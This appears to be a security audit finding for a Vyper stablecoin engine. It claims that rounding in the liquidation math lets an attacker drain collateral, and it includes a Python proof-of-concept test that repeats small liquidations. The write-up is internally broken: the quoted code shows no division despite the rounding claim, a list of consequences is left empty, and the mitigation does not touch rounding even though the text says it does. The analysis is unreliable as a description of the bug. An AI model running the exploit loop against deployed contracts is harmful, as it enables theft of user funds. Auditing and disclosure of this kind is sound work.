Summary
The liquidate function in dsc_engine.vy calculates collateral to transfer using _get_token_amount_from_usd, which uses integer division and is subject to rounding errors. These errors accumulate over repeated liquidations, causing the protocol to give away more collateral value than the debt it cancels, eventually leading to insolvency.
Description
token_amount_from_debt_covered: uint256 = self._get_token_amount_from_usd(
collateral, debt_to_cover
)
bonus_collateral: uint256 = (
token_amount_from_debt_covered * LIQUIDATION_BONUS
)
self._redeem_collateral(
collateral,
token_amount_from_debt_covered + bonus_collateral,
user,
msg.sender,
)
The _get_token_amount_from_usd function uses integer division:
return (usd_amount_in_wei * PRECISION)
Rounding errors favor the liquidator, causing the protocol to transfer more collateral value than the debt cancelled. Repeated liquidations drain the protocol's collateral, making it insolvent.
Risk
Severity: High
Likelihood: Medium
Impact: High
An attacker can repeatedly liquidate positions using small debt_to_cover amounts where rounding errors are proportionally largest. Over time, this causes:
Proof of Concept
import boa
from eth_utils import to_wei
def test_accounting_mismatch_insolvency(dsce, dsc, weth, some_user, liquidator, eth_usd):
collateral_amount = to_wei(10, "ether")
with boa.env.prank(some_user):
weth.approve(dsce.address, collateral_amount)
dsce.deposit_collateral_and_mint_dsc(weth.address, collateral_amount, to_wei(19000, "ether"))
eth_usd.updateAnswer(18 * 10**8)
debt_to_cover = to_wei(10, "ether")
initial_collateral_value = dsce.get_account_collateral_value(some_user)
initial_dsc_supply = dsc.totalSupply()
for _ in range(100):
with boa.env.prank(liquidator):
weth.approve(dsce.address, to_wei(1, "ether"))
dsce.deposit_collateral(weth.address, to_wei(1, "ether"))
dsc.approve(dsce.address, debt_to_cover)
try:
dsce.liquidate(weth.address, some_user, debt_to_cover)
except Exception:
break
final_collateral_value = dsce.get_account_collateral_value(some_user)
final_dsc_supply = dsc.totalSupply()
assert final_collateral_value < initial_collateral_value - (initial_dsc_supply - final_dsc_supply)
print("✅ ACCOUNTING MISMATCH EXPLOITED!")
Run: mox test -k test_accounting_mismatch_insolvency
Recommended Mitigation
Cap the redeemed amount to the user's actual deposit:
@external
def liquidate(collateral: address, user: address, debt_to_cover: uint256):
# ... existing checks ...
token_amount_from_debt_covered: uint256 = self._get_token_amount_from_usd(
collateral, debt_to_cover
)
bonus_collateral: uint256 = (
token_amount_from_debt_covered * LIQUIDATION_BONUS
)
amount_to_redeem: uint256 = token_amount_from_debt_covered + bonus_collateral
user_deposit: uint256 = self.user_to_token_address_to_amount_deposited[user][collateral]
if amount_to_redeem > user_deposit:
amount_to_redeem = user_deposit
self._redeem_collateral(collateral, amount_to_redeem, user, msg.sender)
This prevents over-redemption and mitigates rounding error accumulation.